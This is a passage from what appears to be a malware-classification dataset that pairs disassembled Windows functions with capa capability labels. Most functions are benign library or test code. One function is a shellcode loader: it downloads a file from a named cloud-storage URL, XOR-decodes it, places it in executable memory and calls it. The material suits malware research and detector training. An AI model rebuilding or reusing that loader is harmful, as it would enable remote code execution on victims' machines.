joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800f04b0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push rbx
push rsi
push r12
push r14
push r15
sub rsp, 0x20
mov r14, rcx
mov r12, r9
mov rcx, r8
mov rsi, rdx
call fcn.1800b2980
mov r8d, dword [r14 + 0x18]
mov edx, 0x40
mov ecx, dword [r14 + 0x20]
add rcx, 0x18
mov r15d, eax
lea r9d, [r8 + r8]
add rcx, r9
lea r8, str.C:Dev_vcpkg_buildtreescurl_srcurl_7_81_0_459d17a9d2.cleanlibhmac.c
call fcn.1800b5220
mov rbx, rax
test rax, rax
je 0x1800f0674
lea rcx, [rax + 0x18]
mov qword [rax], r14
mov qword [rax + 8], rcx
mov eax, dword [r14 + 0x18]
add rax, rcx
mov qword [rsp + 0x58], rbp
mov qword [rbx + 0x10], rax
mov qword [rsp + 0x60], rdi
cmp r15d, dword [r14 + 0x1c]
jbe 0x1800f054f
call qword [r14]
mov rcx, qword [rbx + 8]
mov r8d, r15d
mov rdx, rsi
call qword [r14 + reloc.WS2_32.dll_htonl]
mov esi, dword [r14 + 0x18]
add rsi, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, rsi
call qword [r14 + reloc.WS2_32.dll_recv]
mov r15d, dword [r14 + 0x20]
mov rcx, qword [rbx + 8]
call qword [r14]
mov rcx, qword [rbx + 0x10]
call qword [r14]
xor ebp, ebp
test r15, r15
je 0x1800f05b2
mov rbp, r15
nop word [rax + rax]
movzx eax, byte [rsi]
lea rdx, [rsp + 0x50]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x50], al
mov rcx, qword [rbx + 8]
call qword [r14 + reloc.WS2_32.dll_htonl]
movzx eax, byte [rsi]
lea rdx, [rsp + 0x50]
xor al, 0x5c
lea rsi, [rsi + 1]
mov byte [rsp + 0x50], al
mov r8d, 1
mov rcx, qword [rbx + 0x10]
call qword [r14 + reloc.WS2_32.dll_htonl]
sub r15, 1
jne 0x1800f0570
mov eax, dword [r14 + 0x1c]
cmp rbp, rax
jae 0x1800f05f6
nop dword [rax + rax]
mov rcx, qword [rbx + 8]
lea rdx, [0x18010ce64]
mov r8d, 1
call qword [r14 + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 0x10]
lea rdx, [0x18010ce65]
mov r8d, 1
call qword [r14 + reloc.WS2_32.dll_htonl]
mov eax, dword [r14 + 0x1c]
inc rbp
cmp rbp, rax
jb 0x1800f05c0
mov rcx, qword [rsp + 0x70]
call fcn.1800b2980
mov r9, qword [rbx]
mov r8d, eax
mov rcx, qword [rbx + 8]
mov rdx, r12
call qword [r9 + reloc.WS2_32.dll_htonl]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rbx]
mov rbp, qword [rsp + 0x58]
test rdi, rdi
jne 0x1800f062a
mov edi, dword [rsi + 0x18]
add rdi, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, rdi
call qword [rsi + reloc.WS2_32.dll_recv]
mov r8d, dword [rsi + 0x20]
mov rdx, rdi
mov rcx, qword [rbx + 0x10]
call qword [rsi + reloc.WS2_32.dll_htonl]
mov rdx, qword [rbx + 0x10]
mov rcx, rdi
call qword [rsi + reloc.WS2_32.dll_recv]
lea r8, str.C:Dev_vcpkg_buildtreescurl_srcurl_7_81_0_459d17a9d2.cleanlibhmac.c
mov edx, 0x81
mov rcx, rbx
call fcn.1800b5130
mov rdi, qword [rsp + 0x60]
xor eax, eax
add rsp, 0x20
pop r15
pop r14
pop r12
pop rsi
pop rbx
ret
mov eax, 0x1b
add rsp, 0x20
pop r15
pop r14
pop r12
pop rsi
pop rbx
ret
Function at 0x1800f2080
Capabilities:
Encode data using xor

Disassembly:
mov r10, rcx
test rdx, rdx
je 0x1800f20e5
nop dword [rax + rax]
movzx r8d, byte [r10]
lea r10, [r10 + 1]
movzx eax, r8b
movzx r9d, r8b
shr r9b, 1
and al, 0xfe
not r9b
movzx eax, al
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
or r8b, 1
test r9b, 2
movzx ecx, r8b
cmove ecx, eax
mov byte [r10 - 1], cl
sub rdx, 1
jne 0x1800f2090
ret
Function at 0x1800f6804
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1800f683e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1800f6843
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1800f688c
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1800f688c
dec r8
sub rdx, 1
jne 0x1800f6872
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x14000c008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x14000c008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x14000c008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000c008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret
Function at 0x1400011b0
Capabilities:
Allocate or change rwx memory
Check if file exists
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Read file on windows

Disassembly:
push rdi
sub rsp, 0x30
call fcn.1400010e0
lea rcx, str.urlmon.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x14000138b
lea rdx, str.URLDownloadToFileA
mov qword [rsp + 0x50], rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x14000120a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rsi, qword [rsp + 0x50]
mov eax, 1
add rsp, 0x30
pop rdi
ret
lea rcx, str.5.txt
mov qword [rsp + 0x40], rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ebx, ebx
cmp eax, 0xffffffff
jne 0x140001241
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.5.txt
xor ecx, ecx
lea rdx, str.https:__wwwasdqwewqeafq208_1328290234.cos.ap_chongqing.myqcloud.com_208.txt
call rsi
test eax, eax
js 0x140001267
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14001b628]
lea rcx, str.5.txt
call fcn.140007578
mov rsi, rax
test rax, rax
jne 0x140001275
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140001381
xor edx, edx
mov qword [rsp + 0x48], rbp
mov rcx, rsi
mov qword [rsp + 0x58], r14
lea r8d, [rdx + 2]
call fcn.1400079b0
mov rcx, rsi
call fcn.140007424
xor r8d, r8d
movsxd rbp, eax
xor edx, edx
mov rcx, rsi
call fcn.1400079b0
mov rcx, rbp
call fcn.1400081a4
mov r14, rax
test rax, rax
jne 0x1400012c2
mov rcx, rsi
call fcn.1400076a8
jmp 0x14000136e
mov r9, rsi
mov r8, rbp
mov edx, 1
mov rcx, r14
call fcn.140007cc0
mov rcx, rsi
call fcn.1400076a8
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbp, rbp
je 0x140001331
movabs r8, 0x2492492492492493
lea r9, str.XDCY1XD
nop
mov rax, r8
mov rcx, rbx
mul rbx
mov rax, rbx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rbx + r14], al
inc rbx
cmp rbx, rbp
jb 0x140001300
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rbp
mov rdx, r14
mov rcx, rax
mov rbx, rax
call fcn.140003e30
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
mov rcx, r14
call fcn.140007a4c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbp, qword [rsp + 0x48]
mov r14, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x14087f058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14087f1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14087f089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14087f06f
add dl, dl
jne 0x14087f096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14087f0f6
xor eax, eax
add dl, dl
jne 0x14087f0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14087f1ad
add dl, dl
jne 0x14087f0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14087f0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14087f0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14087f0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14087f0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14087f07e
mov eax, 1
add dl, dl
jne 0x14087f106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14087f113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14087f0fb
sub eax, ebx
mov ebx, 1
jne 0x14087f14c
mov ecx, 1
add dl, dl
jne 0x14087f12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14087f13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14087f123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14087f07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14087f168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14087f175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14087f15d
cmp eax, 0x7d00
jae 0x14087f19b
cmp eax, 0x500
jb 0x14087f196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14087f07e
cmp eax, 0x7f
ja 0x14087f19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14087f07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14087f1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14087f07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400067b0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0xa8]
sub rsp, 0x190
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov rdi, r9
mov rbx, r8
mov rsi, rdx
mov r14, rcx
mov rcx, qword [r8 + 0x18]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
test eax, eax
jne 0x140006831
lea rdx, str.FrwTests::StartAsyncWrite:_ResetEvent
lea rcx, [rsp + 0x58]
call fcn.140003a20
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x68]
call fcn.14000bc60
lea rdx, [0x140098a90]
lea rcx, [rbp - 0x68]
call fcn.1400267a0
int3
mov dword [rbx + 0x10], edi
mov rax, rdi
shr rax, 0x20
mov dword [rbx + 0x14], eax
xor eax, eax
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x48], rax
cmp byte [rbp + 0xd0], al
mov eax, 0xffffffff
je 0x1400068c5
mov r9, qword [rbx + 0x88]
cmp r9, rax
ja 0x1400068ab
mov r8, qword [rbx + 0x78]
lea rdx, [r14 + 0xb0]
mov rax, qword [rdx]
movsxd rcx, dword [rax + 0x10]
add rcx, rdx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], r8
mov r8, rsi
mov edx, 2
call fcn.140011e80
mov r14, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x40]
jmp 0x14000694b
mov r8d, 0x78
lea rdx, str.NumCast
lea rcx, str.value___std::numeric_limits_OutType_::max__
call fcn.1400126e0
int3
lea r14, str.WriteFile__direct_
mov rcx, qword [rbx + 0x88]
cmp rcx, rax
ja 0x1400069c6
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8d, ecx
mov rdx, qword [rbx + 0x78]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140006943
lea rax, [rsp + 0x78]
mov qword [rbp + 0xc0], rax
mov rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.14001dcc0
nop
mov r8, rax
lea rcx, [rsp + 0x78]
call fcn.14000a5c0
nop
mov r8d, 1
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140004200
lea rdx, [0x140098ad0]
lea rcx, [rbp - 0x68]
call fcn.1400267a0
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp ebx, 0x3e5
je 0x1400069e0
mov rdx, r14
lea rcx, [rsp + 0x58]
call fcn.140005010
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, str.FrwTests::StartAsyncWrite:
lea rcx, [rbp + 0x50]
call fcn.14000a6d0
nop
lea r8, [rsp + 0x40]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.14000a710
nop
lea rdx, [rsp + 0x78]
mov rcx, rax
call fcn.1400043d0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
mov r8d, ebx
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x68]
call fcn.14000bc60
lea rdx, [0x140098a90]
lea rcx, [rbp - 0x68]
call fcn.1400267a0
nop
mov r8d, 0x78
lea rdx, str.NumCast
lea rcx, str.value___std::numeric_limits_OutType_::max__
call fcn.1400126e0
int3
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140006a00
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0xa8]
sub rsp, 0x190
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov rdi, r9
mov rbx, r8
mov rsi, rdx
mov r14, rcx
mov rcx, qword [r8 + 0x18]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
test eax, eax
jne 0x140006a81
lea rdx, str.FrwTests::StartAsyncRead:_ResetEvent
lea rcx, [rsp + 0x58]
call fcn.14000a820
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x68]
call fcn.14000bc60
lea rdx, [0x140098a90]
lea rcx, [rbp - 0x68]
call fcn.1400267a0
int3
mov dword [rbx + 0x10], edi
mov rax, rdi
shr rax, 0x20
mov dword [rbx + 0x14], eax
xor eax, eax
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x48], rax
cmp byte [rbp + 0xd0], al
mov eax, 0xffffffff
je 0x140006b15
mov r9, qword [rbx + 0x88]
cmp r9, rax
ja 0x140006afb
mov r8, qword [rbx + 0x78]
lea rdx, [r14 + 0xb0]
mov rax, qword [rdx]
movsxd rcx, dword [rax + 0x10]
add rcx, rdx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], r8
mov r8, rsi
mov edx, 1
call fcn.140011e80
mov r14, qword [rsp + 0x48]
mov edi, dword [rsp + 0x40]
jmp 0x140006b9b
mov r8d, 0x78
lea rdx, str.NumCast
lea rcx, str.value___std::numeric_limits_OutType_::max__
call fcn.1400126e0
int3
lea r14, str.ReadFile__direct_
mov rcx, qword [rbx + 0x88]
cmp rcx, rax
ja 0x140006c20
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8d, ecx
mov rdx, qword [rbx + 0x78]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140006b93
lea rax, [rsp + 0x78]
mov qword [rbp + 0xc0], rax
mov rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.14001dcc0
nop
mov r8, rax
lea rcx, [rsp + 0x78]
call fcn.14000a830
nop
mov r8d, 1
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140004200
lea rdx, [0x140098ad0]
lea rcx, [rbp - 0x68]
call fcn.1400267a0
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp edi, 0x26
jne 0x140006bac
mov byte [rbx + 0x91], 1
jmp 0x140006c3a
cmp edi, 0x3e5
je 0x140006c3a
mov rdx, r14
lea rcx, [rsp + 0x58]
call fcn.140005010
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x50]
call fcn.14000a940
nop
lea r8, [rsp + 0x40]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.14000a710
nop
lea rdx, [rsp + 0x78]
mov rcx, rax
call fcn.1400043d0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
mov r8d, edi
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x68]
call fcn.14000bc60
lea rdx, [0x140098a90]
lea rcx, [rbp - 0x68]
call fcn.1400267a0
nop
mov r8d, 0x78
lea rdx, str.NumCast
lea rcx, str.value___std::numeric_limits_OutType_::max__
call fcn.1400126e0
int3
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x14000d870
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, qword [rcx]
cmp byte [rbx + 0x59], 0
jne 0x14000d929
cmp byte [rbx + 0x58], 3
jne 0x14000d929
mov rax, qword [rcx + 8]
cmp qword [rax + 8], 1
jb 0x14000d906
movups xmm1, xmmword [rax]
mov qword [rsp + 0x48], rdi
mov edi, 1
movups xmmword [rsp + 0x20], xmm1
psrldq xmm1, 8
movq r8, xmm1
cmp r8, rdi
jae 0x14000d8cb
mov rdi, r8
cmp r8, 1
jae 0x14000d8cb
test r8, r8
jne 0x14000d8d1
xor eax, eax
jmp 0x14000d8e9
mov r8d, 1
mov rcx, qword [rsp + 0x20]
lea rdx, [0x14007b7fc]
add r8, r8
call fcn.140028400
test eax, eax
jne 0x14000d8fd
cmp rdi, 1
je 0x14000d8fd
mov eax, 1
or ecx, 0xffffffff
cmp rdi, rax
cmovb eax, ecx
mov rdi, qword [rsp + 0x48]
test eax, eax
je 0x14000d929
mov rcx, qword [rbx + 0x50]
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14000d929
cmp qword [rsp + 0x40], 0
jne 0x14000d929
mov al, 1
add rsp, 0x30
pop rbx
ret
xor al, al
add rsp, 0x30
pop rbx
ret
Function at 0x14000dee0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
cmp byte [rcx + 0x89], 0
mov rdi, r8
mov rbx, rcx
je 0x14000df0d
mov qword [r8], 0
mov al, 1
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov eax, 0x10000
cmp qword [r8], rax
jae 0x14000df1a
mov eax, dword [r8]
mov rcx, qword [rcx + 0x80]
lea r9, [rsp + 0x50]
mov r8d, eax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000df9c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
je 0x14000df88
cmp eax, 0x26
je 0x14000df88
cmp byte [rbx + 0x18], 0
lea rcx, str.ReadFile__
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 0xa
jne 0x14000df7b
movups xmm0, xmmword [rsp + 0x30]
mov byte [rbx + 0x18], 1
mov byte [rbx + 0x21], 1
movups xmmword [rbx + 0x28], xmm0
mov dword [rbx + 0x38], eax
xor al, al
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov qword [rdi], 0
mov al, 1
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov eax, dword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
mov qword [rdi], rax
mov al, 1
add rsp, 0x40
pop rdi
ret
Function at 0x140012e10
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x50
mov qword [r11 - 0x28], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov rdi, r8
mov rbx, rdx
xor sil, sil
xor eax, eax
mov qword [r11 - 0x20], rax
xor ebp, ebp
mov dword [rsp + 0x38], ebp
mov qword [r11 - 0x18], rbp
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [r8], xmm0
mov eax, dword [rdx + 0x10]
cmp eax, 1
jne 0x140012e7d
mov rax, qword [rdx + 0x38]
mov qword [r11 - 0x38], rax
xor r9d, r9d
mov r8d, dword [rdx + 0x30]
mov rdx, qword [rdx + 0x28]
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_ReadFile]
nop
test eax, eax
je 0x140012eac
lea ecx, [rbp + 0x1e]
jmp 0x140012ece
cmp eax, 2
jne 0x140012ec9
mov rax, qword [rdx + 0x38]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, dword [rdx + 0x30]
mov rdx, qword [rdx + 0x28]
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
test eax, eax
je 0x140012eac
mov ecx, 0x1d
jmp 0x140012ece
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, eax
cmp eax, 0x3e5
jne 0x140012ece
mov rax, qword [rbx + 0x38]
mov dword [rax + 0x48], 4
jmp 0x140012f2b
mov ecx, 0x25c
mov rax, qword [rbx + 0x38]
mov dword [rax + 0x48], 3
mov rax, qword [rbx + 0x38]
mov dword [rax + 0x50], ecx
lea rcx, str.TrueAsync::ProcessWorkItem__line_40
mov qword [rax + 0x58], rcx
mov rax, qword [rbx + 0x38]
mov dword [rax + 0x60], ebp
mov rcx, qword [rbx + 0x38]
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.KERNEL32.dll_SetEvent]
nop
test eax, eax
jne 0x140012f2b
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov edx, 0x65b
test eax, eax
cmove eax, edx
mov dword [rdi], eax
lea rcx, str.TrueAsync::ProcessWorkItem__line_44
mov qword [rdi + 8], rcx
test eax, eax
jne 0x140012f3b
mov dword [rdi], edx
jmp 0x140012f3b
mov sil, 1
mov dword [rdi], ebp
lea rax, str.TrueAsync::ProcessWorkItem__line_49
mov qword [rdi + 8], rax
mov ecx, dword [rdi]
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
movzx eax, sil
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x1400134f0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, 1
nop dword [rax + rax]
mov eax, dword [0x1400ab69c]
cmp eax, 2
je 0x1400135f2
xor eax, eax
lock cmpxchg dword [0x1400ab69c], ebx
cmp eax, 1
je 0x1400135e7
lea rcx, [0x14007be00]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea rdx, str.OpenConsoleW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400aba98], rax
lea rdx, str.DuplicateConsoleHandle
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400abaa0], rax
lea rdx, str.CloseConsoleHandle
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400abaa8], rax
lea rdx, str.InvalidateConsoleDIBits
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400abab0], rax
lea rdx, str.VerifyConsoleIoHandle
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400abab8], rax
lea rdx, str.GetProcessId
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400abac0], rax
lea rdx, str.CompareStringOrdinal
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400abac8], rax
mov eax, 2
xchg dword [0x1400ab69c], eax
jmp 0x1400135f2
call qword [sym.imp.KERNEL32.dll_SwitchToThread]
jmp 0x140013500
add rsp, 0x20
pop rbx
ret